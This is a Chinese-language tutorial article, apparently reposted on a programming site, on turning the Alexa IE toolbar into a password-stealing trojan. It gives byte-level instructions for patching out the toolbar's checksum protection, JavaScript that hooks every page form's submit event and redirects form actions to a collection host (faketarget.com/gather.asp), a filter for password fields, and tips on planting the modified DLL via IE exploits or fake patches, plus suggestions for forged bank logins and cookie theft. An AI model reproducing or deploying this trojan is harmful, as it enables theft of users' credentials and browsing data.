上一篇:为Windows应用创建简单的异步调用模式 >>
移花接木 将Alexa工具条改装成间谍木马
一、Alexa工具条的工作原理
Alexa工具条是一种基于BHO和Toolbar Bands技术的一种IE插件。它以DLL文件的形式存在于系统中,是一种COM组件,IE会在运行时将其加载到自身进程中去,所以一般情况下防火墙是无法禁止该软件访问网络的,这就为他的木马角色提供了先天的便利,而且比本机Sniff软件收集密码的优势是:无论是HTTP还是HTTPS的网站,不管通信通道是否加密,只要是IE页面的表单都能收集到。具体原理可以查阅《关于Alexa排名作弊的一些解惑》。
系统在安装了Alexa工具条后,会在系统目录下生成AlxTB1.dll和AlxRes.dll两个DLL文件(有些情况下是AlxTB2.dll,而不是AlxTB1.dll。那是因为Alexa工具条会自动上网更新的原因)。Alexa工具条的主要二进制代码存在于AlxTB1.dll文件中,这个文件同时也被注册成多个COM组件,他完成了BHO和Toolbar Bands的COM接口,并将IE的WebBrowser控件封装为一个COM组件供AlxRes.dll调用。AlxRes.dll文件仅包含少量的二进制代码,大量的代码是HTML和javascript代码,他们以资源的形式存在于AlxRes.dll文件中,你可以通过res://AlxRes.dll/CHTML/about.html这样的URL来访问这些资源。也许你会奇怪:又不是做网站,为什么软件的代码会是javascript写的?这就是Alexa工具条垃圾的地方。Alexa工具条的主界面是由HTML+javascript实现的。这些javascript代码通过调用AlxTB1.dll实现的COM接口来实现软件的全部功能。这样做不仅导致软件的效率低下,而且产生大量的资源泄漏,绝对是一种VERY超级SB的开发模式,但是却为我们修改Alexa工具条的功能提供了方便——根本不需要CRACKER知识,只要一个PE资源修改工具就可以对Alexa工具条的代码进行修改了。
二、破解Alexa工具条
当然,Alexa也不是真傻,绝对不会蠢到让自己的代码被你用资源修改工具随便改。为了防止AlxRes.dll中的资源被随意修改,他采取了计算文件校验和的保护方法,要是发现文件被修改,就会拒绝加载。我们在修改代码前,必须破解这种保护机制。
AlxTB1.dll导出一个名叫ChecksumResources的函数,这个函数就是用来计算文件校验和的。用c32asm反汇编AlxRes.dll文件,查看字符串调用列表,找到"ChecksumResources"字符串,跳转到调用该字符串的代码,于100017C0处。往下翻几行,在100017F6处找到一句跳转,采用爆破方式,用NOP指令覆盖JNZ指令即可。通俗点讲:就是将AlxRes.dll文件偏移"0x17F6"处的两个字节"75 11"改成"90 90",你可以使用WinHex之类的16进制编辑软件来修改。
| ::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources ::100017C5:: 57 PUSH EDI ::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress ::100017CC:: 85C0 TEST EAX, EAX ::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN ::100017D0:: 8D4D DC LEA ECX, [EBP-24] ::100017D3:: 51 PUSH ECX ::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444] ::100017DA:: FFD0 CALL EAX ::100017DC:: 59 POP ECX ::100017DD:: 59 POP ECX ::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE, ::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary ::100017E5:: 8D45 B8 LEA EAX, [EBP-48] ::100017E8:: 50 PUSH EAX ::100017E9:: 8D45 DC LEA EAX, [EBP-24] ::100017EC:: 50 PUSH EAX ::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN ::100017F2:: 59 POP ECX ::100017F3:: 85C0 TEST EAX, EAX ::100017F5:: 59 POP ECX ::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改这里 |
现在我们可以毫无顾忌的修改AlxRes.dll中的资源了。
三、修改Alexa工具条的代码
熟悉IE编程的人都知道,DWebBrowserEvents2接口是用来接收WebBrowser的事件通知的,我们可以在AlxRes.dll的javascript代码中找到这些些对应的函数。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代码中,有一系列的javascript函数,对应于DWebBrowserEvents2接口的成员,如:DocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我们可以在BeforeNavigate2中截获PostData,但是在AlxRes.dll的代码中,这个接口没有完全实现。在DWebBrowserEvents2接口中的原型是:
| void BeforeNavigate2(IDispatch *pDisp, VARIANT *&url, VARIANT *&Flags, VARIANT *&TargetFrameName, VARIANT *&PostData, VARIANT *&Headers, VARIANT_BOOL *&Cancel ); |
这其中的PostData包含了的Post数据。而BP_onBeforeNavigate的函数原型:
| function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders); |
其中,bPostData只是个BOOL类型的变量。此路不通,必须另想办法。
一般来说,我们在IE中输入的用户名密码都是通过表单提交到服务器的,如果能在表单提交前截获表单的内容就可以实现窃取密码了。在javascript中,只要处理表单的"OnSubmit"事件,就可以先于提交而处理表单的内容。而AlxRes.dll的功能也是由javascript实现的,所以我们就无需面对繁琐的COM接口,而直接使用javascript了。
这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了。
四、截获网页表单的内容
我现在使用的方法有些类似于"跨站点脚本执行漏洞"。先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函数:
| function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL); |
该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的window对象。如果你懂得javascript的话,接下来要做的事情就十分简单了。添加如下代码:
| function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) { ... ... try{ for(i=0;i<oWebBrowser2.document.forms.length;i++) { oWebBrowser2.document.forms[i].onsubmit=test; } }catch(e){} return false; } |
这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:
| function test() { try{ window.alert("I can get the value!"); for(i=0;i<this.length;i++) { if(this.elements[i].name!="") { window.alert(this.elements[i].name+":"+this.elements[i].value); //do some thing } } }catch(e){} return true; } |
不过用这种方法存在一点弊端:当表单是通过javascript语句"Submit()"提交时,不会产生"OnSubmit"事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:
| function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) { ... ... try{ for(i=0;i<oWebBrowser2.document.forms.length;i++) { oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value=’"+oWebBrowser2.document.forms[i].action+"’>"; oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp"; } }catch(e){} return false; } |
以上的代码对于某些页面存在问题,有时会无法将隐藏字段添加到表单中去。
五、散布和植入木马
以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,那可是有一大堆的IE漏洞等着你去Exploit呢,这可不是本文涉及的范围。
安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar"的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:
| User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar) |
也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布,这个就扯远了。
六、收集密码
你可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单,最好在AlxRes.dll的代码中对收集的表单数据进行一些检查:
| function test() { var IsPwdForm=false; var FormStr; try{ for(i=0;i<this.length;i++) { if(this.elements[i].name!="") { if(this.elements[i].type=="password") IsPwdForm=true; FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&"; } } if(IsPwdForm) { //表单包含密码文本,进行收集 } }catch(e){} return true; } |
七、其他的应用
大多数的网上银行登陆界面是由ActiveX控件实现的,无法截获表单数据,但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览的页面,当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等。
下一篇:并购狂潮将起 美上市软件企业消失一半 >>
相关文章:
- · Eclipse创始人谈软件开发的前景
- · 初学者必读:Java集合接口综述
- · Java EE在SOA世界中的消亡?
- · Java EE 5和SOA: 开发商的辩驳
- · 健康发展需要找到适合发展的开源模式
- · 从管理入手:CIO应对开放源代码的法律问题
- · Sun将为JVM添加动态语言的支持
- · 中国的开源爱好者需要海外拉练
- · RealNetworks开源 Linux播Windows文件
- · 对企业级Java应用程序及其部署进行建模
- · 使用JSF和MyFaces实现文件上载
- · Java应用中的反模式开发介绍
- · Eclipse 3.2 版本发布 成为新里程碑
- · 5编程高手涉嫌侵犯腾讯著作权昨日出庭受审
- · 黑客利用索尼反盗版隐形技术藏身电脑
- · 网络安全知识 详解IPC$攻击及防御
- · EJB 3.0+Aspect实现声明性编程初步
- · 前进:从EJB 2.1到EJB 3.0
- · 在Java中用类装载框架控制类加载
- · 浅议C语言中数组和指针的互操作
- · 再谈C语言中数组和指针之间的互操作
- · 用C语言实现常见的三种中文内码转换
- · 链表的C语言实现之循环链表及双向链表
- · 垂直搜索:Google们漏掉的空档
- · 基于Visual C++ 6.0的Add-in编程实例
- · C++箴言:争取异常安全的代码
- · C++箴言:从模板中分离出参数无关的代码
- · C# 2.0中泛型编程初级入门教程
- · C++箴言:理解typename的两个含义
- · C++箴言:必须返回对象时别返回引用
- · C++箴言:避免返回对象内部构件的句柄
- · C++箴言:理解inline化的介入和排除
- · C++对象布局及多态实现探索之虚函数调用
- · C++箴言:理解隐式接口和编译期多态
- · C++对象布局及多态之虚成员函数调用
- · C++箴言:在资源管理类中准备访问裸资源
- · C++箴言:了解C++偷偷加上和调用了什么
- · SQL Server中删除重复数据的几个方法
